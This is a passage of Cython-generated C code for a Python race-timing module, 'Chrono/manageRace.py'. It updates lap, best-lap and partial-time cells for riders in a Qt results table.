__Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_26, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_26, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":244 * QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% * ( createTime(self.bestLap), * tt["ridernum"], tt["ridername"], # <<<<<<<<<<<<<< * tt["lapcount"] ) * ) */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ridernum); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_26 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ridername); if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_26); /* "Chrono/manageRace.py":245 * ( createTime(self.bestLap), * tt["ridernum"], tt["ridername"], * tt["lapcount"] ) # <<<<<<<<<<<<<< * ) * else: */ __pyx_t_8 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); /* "Chrono/manageRace.py":243 * Globals.MainWindow.P_Race), * QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% * ( createTime(self.bestLap), # <<<<<<<<<<<<<< * tt["ridernum"], tt["ridername"], * tt["lapcount"] ) */ __pyx_t_25 = PyTuple_New(4); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_25, 0, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_25, 1, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_26); PyTuple_SET_ITEM(__pyx_t_25, 2, __pyx_t_26); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_25, 3, __pyx_t_8); __pyx_t_5 = 0; __pyx_t_2 = 0; __pyx_t_26 = 0; __pyx_t_8 = 0; /* "Chrono/manageRace.py":242 * Globals.MainWindow.toolBox.indexOf( * Globals.MainWindow.P_Race), * QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% # <<<<<<<<<<<<<< * ( createTime(self.bestLap), * tt["ridernum"], tt["ridername"], */ __pyx_t_8 = PyNumber_Remainder(__pyx_t_6, __pyx_t_25); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; __pyx_t_25 = NULL; __pyx_t_17 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_25 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_25)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_25); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_17 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[3] = {__pyx_t_25, __pyx_t_1, __pyx_t_8}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_17, 2+__pyx_t_17); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[3] = {__pyx_t_25, __pyx_t_1, __pyx_t_8}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_17, 2+__pyx_t_17); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_6 = PyTuple_New(2+__pyx_t_17); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_25) { __Pyx_GIVEREF(__pyx_t_25); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_25); __pyx_t_25 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_17, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_17, __pyx_t_8); __pyx_t_1 = 0; __pyx_t_8 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Chrono/manageRace.py":236 * if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: * setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) * if tt["lastlap"] < self.bestLap: # <<<<<<<<<<<<<< * self.bestLap = tt["lastlap"] * self.bestLapTb = tt */ } /* "Chrono/manageRace.py":234 * setLine( colors["White"], row, cols["time"][0], createTime(tt["remticks"])) * if tt["lapcount"] >= 0: * if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: # <<<<<<<<<<<<<< * setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) * if tt["lastlap"] < self.bestLap: */ goto __pyx_L31; } /* "Chrono/manageRace.py":248 * ) * else: * setLine( tt["textcolor"], row, cols["last"][0], createTime(tt["lastlap"])) # <<<<<<<<<<<<<< * if tt["lapcount"] > 1: * setLine( tt["textcolor"], row, cols["best"][0], createTime(tt["bestlap"])) */ /*else*/ { __pyx_t_7 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_textcolor); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = PyObject_GetItem(__pyx_t_9, __pyx_n_u_last); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetItemInt(__pyx_t_6, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_8 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTime); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_1 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lastlap); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_25 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_8))) { __pyx_t_25 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_25)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_25); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (!__pyx_t_25) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_25, __pyx_t_1}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[2] = {__pyx_t_25, __pyx_t_1}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_26 = PyTuple_New(1+1); if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_26); __Pyx_GIVEREF(__pyx_t_25); PyTuple_SET_ITEM(__pyx_t_26, 0, __pyx_t_25); __pyx_t_25 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_26, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_26, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; } } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyTuple_New(4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_7); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_v_row); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 3, __pyx_t_6); __pyx_t_7 = 0; __pyx_t_9 = 0; __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_v_setLine, __pyx_t_8, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __pyx_L31:; /* "Chrono/manageRace.py":233 * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], None) * setLine( colors["White"], row, cols["time"][0], createTime(tt["remticks"])) * if tt["lapcount"] >= 0: # <<<<<<<<<<<<<< * if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: * setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) */ } /* "Chrono/manageRace.py":249 * else: * setLine( tt["textcolor"], row, cols["last"][0], createTime(tt["lastlap"])) * if tt["lapcount"] > 1: # <<<<<<<<<<<<<< * setLine( tt["textcolor"], row, cols["best"][0], createTime(tt["bestlap"])) * tick = tt["lasttick"] */ __pyx_t_6 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_8 = PyObject_RichCompare(__pyx_t_6, __pyx_int_1, Py_GT); __Pyx_XGOTREF(__pyx_t_8); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_13 = __Pyx_PyObject_IsTrue(__pyx_t_8); if (unlikely(__pyx_t_13 < 0)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (__pyx_t_13) { /* "Chrono/manageRace.py":250 * setLine( tt["textcolor"], row, cols["last"][0], createTime(tt["lastlap"])) * if tt["lapcount"] > 1: * setLine( tt["textcolor"], row, cols["best"][0], createTime(tt["bestlap"])) # <<<<<<<<<<<<<< * tick = tt["lasttick"] * dur = self._duration * 1000 */ __pyx_t_8 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_textcolor); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = PyObject_GetItem(__pyx_t_6, __pyx_n_u_best); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetItemInt(__pyx_t_9, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTime); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_26 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_bestlap); if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_26); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_26); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; __Pyx_GOTREF(__pyx_t_9); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_26}; __pyx_t_9 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_26}; __pyx_t_9 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; } else #endif { __pyx_t_25 = PyTuple_New(1+1); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_25, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_26); PyTuple_SET_ITEM(__pyx_t_25, 0+1, __pyx_t_26); __pyx_t_26 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_25, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyTuple_New(4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_8); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_v_row); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 2, __pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 3, __pyx_t_9); __pyx_t_8 = 0; __pyx_t_6 = 0; __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_v_setLine, __pyx_t_7, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":249 * else: * setLine( tt["textcolor"], row, cols["last"][0], createTime(tt["lastlap"])) * if tt["lapcount"] > 1: # <<<<<<<<<<<<<< * setLine( tt["textcolor"], row, cols["best"][0], createTime(tt["bestlap"])) * tick = tt["lasttick"] */ } /* "Chrono/manageRace.py":251 * if tt["lapcount"] > 1: * setLine( tt["textcolor"], row, cols["best"][0], createTime(tt["bestlap"])) * tick = tt["lasttick"] # <<<<<<<<<<<<<< * dur = self._duration * 1000 * for i in range( 0, self.partials ): */ __pyx_t_9 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lasttick); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_XDECREF_SET(__pyx_v_tick, __pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":252 * setLine( tt["textcolor"], row, cols["best"][0], createTime(tt["bestlap"])) * tick = tt["lasttick"] * dur = self._duration * 1000 # <<<<<<<<<<<<<< * for i in range( 0, self.partials ): * val = tt["partial"][i] - tick */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_duration_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = PyNumber_Multiply(__pyx_t_9, __pyx_int_1000); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF_SET(__pyx_v_dur, __pyx_t_7); __pyx_t_7 = 0; /* "Chrono/manageRace.py":253 * tick = tt["lasttick"] * dur = self._duration * 1000 * for i in range( 0, self.partials ): # <<<<<<<<<<<<<< * val = tt["partial"][i] - tick * if val <= 0 or val>dur or tt["partial"][i] < tt["lasttick"] : */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_partials); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = PyTuple_New(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (likely(PyList_CheckExact(__pyx_t_7)) || PyTuple_CheckExact(__pyx_t_7)) { __pyx_t_9 = __pyx_t_7; __Pyx_INCREF(__pyx_t_9); __pyx_t_27 = 0; __pyx_t_28 = NULL; } else { __pyx_t_27 = -1; __pyx_t_9 = PyObject_GetIter(__pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_28 = Py_TYPE(__pyx_t_9)->tp_iternext; if (unlikely(!__pyx_t_28)) __PYX_ERR(0, 253, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; for (;;) { if (likely(!__pyx_t_28)) { if (likely(PyList_CheckExact(__pyx_t_9))) { if (__pyx_t_27 >= PyList_GET_SIZE(__pyx_t_9)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_7 = PyList_GET_ITEM(__pyx_t_9, __pyx_t_27); __Pyx_INCREF(__pyx_t_7); __pyx_t_27++; if (unlikely(0 < 0)) __PYX_ERR(0, 253, __pyx_L1_error) #else __pyx_t_7 = PySequence_ITEM(__pyx_t_9, __pyx_t_27); __pyx_t_27++; if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); #endif } else { if (__pyx_t_27 >= PyTuple_GET_SIZE(__pyx_t_9)) break; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS __pyx_t_7 = PyTuple_GET_ITEM(__pyx_t_9, __pyx_t_27); __Pyx_INCREF(__pyx_t_7); __pyx_t_27++; if (unlikely(0 < 0)) __PYX_ERR(0, 253, __pyx_L1_error) #else __pyx_t_7 = PySequence_ITEM(__pyx_t_9, __pyx_t_27); __pyx_t_27++; if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); #endif } } else { __pyx_t_7 = __pyx_t_28(__pyx_t_9); if (unlikely(!__pyx_t_7)) { PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); else __PYX_ERR(0, 253, __pyx_L1_error) } break; } __Pyx_GOTREF(__pyx_t_7); } __Pyx_XDECREF_SET(__pyx_v_i, __pyx_t_7); __pyx_t_7 = 0; /* "Chrono/manageRace.py":254 * dur = self._duration * 1000 * for i in range( 0, self.partials ): * val = tt["partial"][i] - tick # <<<<<<<<<<<<<< * if val <= 0 or val>dur or tt["partial"][i] < tt["lasttick"] : * txt = "" */ __pyx_t_7 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_partial); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = PyObject_GetItem(__pyx_t_7, __pyx_v_i); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyNumber_Subtract(__pyx_t_6, __pyx_v_tick); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF_SET(__pyx_v_val, __pyx_t_7); __pyx_t_7 = 0; /* "Chrono/manageRace.py":255 * for i in range( 0, self.partials ): * val = tt["partial"][i] - tick * if val <= 0 or val>dur or tt["partial"][i] < tt["lasttick"] : # <<<<<<<<<<<<<< * txt = "" * val = 0 */ __pyx_t_7 = PyObject_RichCompare(__pyx_v_val, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 255, __pyx_L1_error) __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (!__pyx_t_4) { } else { __pyx_t_13 = __pyx_t_4; goto __pyx_L39_bool_binop_done; } __pyx_t_7 = PyObject_RichCompare(__pyx_v_val, __pyx_v_dur, Py_GT); __Pyx_XGOTREF(__pyx_t_7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 255, __pyx_L1_error) __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (!__pyx_t_4) { } else { __pyx_t_13 = __pyx_t_4; goto __pyx_L39_bool_binop_done; } __pyx_t_7 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_partial); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = PyObject_GetItem(__pyx_t_7, __pyx_v_i); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lasttick); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = PyObject_RichCompare(__pyx_t_6, __pyx_t_7, Py_LT); __Pyx_XGOTREF(__pyx_t_8); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_8); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_13 = __pyx_t_4; __pyx_L39_bool_binop_done:; if (__pyx_t_13) { /* "Chrono/manageRace.py":256 * val = tt["partial"][i] - tick * if val <= 0 or val>dur or tt["partial"][i] < tt["lasttick"] : * txt = "" # <<<<<<<<<<<<<< * val = 0 * else: */ __Pyx_INCREF(__pyx_kp_u__29); __Pyx_XDECREF_SET(__pyx_v_txt, __pyx_kp_u__29); /* "Chrono/manageRace.py":257 * if val <= 0 or val>dur or tt["partial"][i] < tt["lasttick"] : * txt = "" * val = 0 # <<<<<<<<<<<<<< * else: * txt = createTime( val ) */ __Pyx_INCREF(__pyx_int_0); __Pyx_DECREF_SET(__pyx_v_val, __pyx_int_0); /* "Chrono/manageRace.py":255 * for i in range( 0, self.partials ): * val = tt["partial"][i] - tick * if val <= 0 or val>dur or tt["partial"][i] < tt["lasttick"] : # <<<<<<<<<<<<<< * txt = "" * val = 0 */ goto __pyx_L38; } /* "Chrono/manageRace.py":259 * val = 0 * else: * txt = createTime( val ) # <<<<<<<<<<<<<< * setLine( colors["White"], row, self._basecol + i, txt ) * tick = tt["partial"][i] */ /*else*/ { __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTime); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_6) { __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_val); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 259, 